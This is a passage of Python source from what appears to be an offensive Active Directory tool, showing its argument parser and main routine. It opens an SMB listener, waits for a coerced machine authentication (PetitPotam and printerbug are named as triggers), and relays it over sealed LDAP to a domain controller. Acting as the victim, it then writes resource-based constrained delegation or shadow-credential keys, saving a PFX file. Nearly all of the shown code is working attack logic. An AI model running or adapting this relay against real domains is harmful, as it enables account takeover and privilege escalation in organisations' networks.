    auth.add_argument('-u', '--user', default=None,
                      help='account opening the signed LDAP session')
    auth.add_argument('-p', '--password', default=None)
    auth.add_argument('-H', '--hashes', default=None, metavar='LM:NT',
                      help='NTLM hashes of -u')
    auth.add_argument('-d', '--domain', default='.',
                      help='NetBIOS domain of -u (default: .)')
    auth.add_argument('--anonymous', action='store_true',
                      help='open the seal session as an anonymous SASL '
                           'NTLM bind: no attacker account at all')
    tgt = p.add_argument_group('target')
    tgt.add_argument('-t', '--target', required=True, metavar='ldap://IP',
                     help='LDAP server the AUTH is relayed to')
    tgt.add_argument('--victim-dn', dest='victim_dn', default=None,
                     metavar='DN',
                     help='explicit victim DN (required with --anonymous: '
                          'an anonymous session cannot resolve account '
                          'names)')
    pl = p.add_argument_group('payload (as the victim)')
    pl.add_argument('--delegate-to', dest='delegate_to', default=None,
                    metavar='MACHINE$',
                    help='machine account that receives the delegation '
                         'right (--rbcd): its SID is written in '
                         'msDS-AllowedToActOnBehalfOfOtherIdentity')
    pl.add_argument('--delegate-sid', dest='delegate_sid', default=None,
                    metavar='SID',
                    help='explicit delegator SID (--rbcd), replaces the '
                         '--delegate-to lookup (needed with --anonymous)')
    pl.add_argument('--rbcd', action='store_true',
                    help='write msDS-AllowedToActOnBehalfOfOtherIdentity '
                         'for --delegate-to on the victim')
    pl.add_argument('--shadow', action='store_true',
                    help='write msDS-KeyCredentialLink on the victim and '
                         'write <victim>.pfx (PKINIT material)')
    op = p.add_argument_group('operation')
    op.add_argument('--listen-ip', default='0.0.0.0',
                    help='listener bind address (default 0.0.0.0); the '
                         'coercion UNC must point at an IP the victim has '
                         'never contacted')
    op.add_argument('--port', type=int, default=445)
    op.add_argument('--timeout', type=int, default=180,
                    help='global timeout in seconds')
    op.add_argument('--ldap-timeout', dest='ldap_timeout', type=int,
                    default=20,
                    help='timeout per LDAP read in seconds (default 20): '
                         'bounds every read on the LDAP sessions instead of '
                         'hanging forever on a DC that stops answering')
    op.add_argument('--dc-build', dest='dc_build', default=None,
                    metavar='UBR',
                    help='DC build (CurrentBuildNumber.UBR) stamped into '
                         'the run output: same-record dispatch is '
                         'build-dependent (20348 dispatches trailing '
                         'messages, 26100-class drops them)')
    op.add_argument('--probe', action='store_true',
                    help='write-free control: same-record with a read-only '
                         'trailing search instead of a payload, tells a DC '
                         'that drops trailing in-record messages from one '
                         'that dispatches them')
    op.add_argument('--out-dir', default='.',
                    help='output directory (PFX, debug dumps)')
    op.add_argument('--expect', default=None, metavar='ACCT',
                    help='abort unless the AUTH is this account (e.g. '
                         '"SQL01$")')
    op.add_argument('--debug', action='store_true', help='verbose output')
    return p


def main():
    parser = build_parser()
    args, unknown = parser.parse_known_args()
    if '-k' in unknown or '--kerberos' in unknown:
        die('-k: the same-record seal key is the NTLM session key of -u; '
            'the relay path requires NTLM SASL')
    if args.probe and (args.rbcd or args.shadow):
        die('--probe runs alone: it sends no payload')
    if not (args.rbcd or args.shadow or args.probe):
        die('no payload: pass --rbcd and/or --shadow, or --probe for the '
            'write-free same-record control')
    if args.rbcd and not (args.delegate_to or args.delegate_sid):
        die('--rbcd needs --delegate-to MACHINE$ or --delegate-sid SID '
            '(the machine that receives the delegation right)')
    scheme, _, host = args.target.partition('://')
    if scheme not in ('ldap', 'ldaps') or not host:
        die('-t expects ldap://IP')
    args.scheme = scheme
    args.ldap_ip = host
    if args.anonymous:
        if args.user or args.password or args.hashes:
            die('--anonymous takes no -u/-p/-H')
        if not args.victim_dn:
            die('--anonymous needs --victim-dn: the anonymous session '
                'cannot resolve account names')
    else:
        if not args.user:
            die('provide -u/-p/-H for the attacker account or --anonymous')
        if not args.password and not args.hashes:
            die('provide -p or -H for the attacker account')
    if args.password is None:
        args.password = ''
    lm, nt = '', ''
    if args.hashes:
        lm, _, nt = args.hashes.partition(':')

    os.makedirs(args.out_dir, exist_ok=True)
    open_attacker_session(args)
    STATE['args'] = args
    if args.dc_build:
        print(f'[*] Target: DC build {args.dc_build} (operator-supplied)')
    else:
        print('[*] Target: DC build unknown; note the DC UBR (README, "Is '
              'the DC vulnerable?") to classify same-record behavior')

    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        server.bind((args.listen_ip, args.port))
    except OSError as error:
        die(f'cannot bind {args.listen_ip}:{args.port} ({error}); '
            f'try another --port or --listen-ip')
    server.listen(4)
    print(f'[*] SMB: listener up on {args.listen_ip}:{args.port}')
    print('[*] SMB: waiting for a coerced AUTH (trigger the coercion '
          'yourself, e.g. PetitPotam / printerbug.py)')
    print('[*] Tip: coercion (nxc, printerbug.py) works every time; NTLM '
          'is only skipped if the victim holds a cached Kerberos ticket '
          'for cifs/<IP>')

    token = None
    deadline = time.time() + args.timeout
    server.settimeout(1.0)
    while time.time() < deadline:
        try:
            conn, addr = server.accept()
        except socket.timeout:
            continue
        try:
            token = handle_client(conn, addr)
        except Exception as error:
            print(f'[!] SMB: connection error {addr[0]}: '
                  f'{type(error).__name__}: {error}')
        finally:
            try:
                conn.close()
            except OSError:
                pass
        if token:
            break
    if not token:
        die(f'no AUTH captured within {args.timeout}s')
    server.close()
    try:
        code = relay_from_auth(token)
    except TimeoutError as error:
        die(f'LDAP read timed out during the relay phase: {error}')
    try:
        STATE['conn'].close()
    except Exception:
        pass
    return code


if __name__ == '__main__':
    sys.exit(main())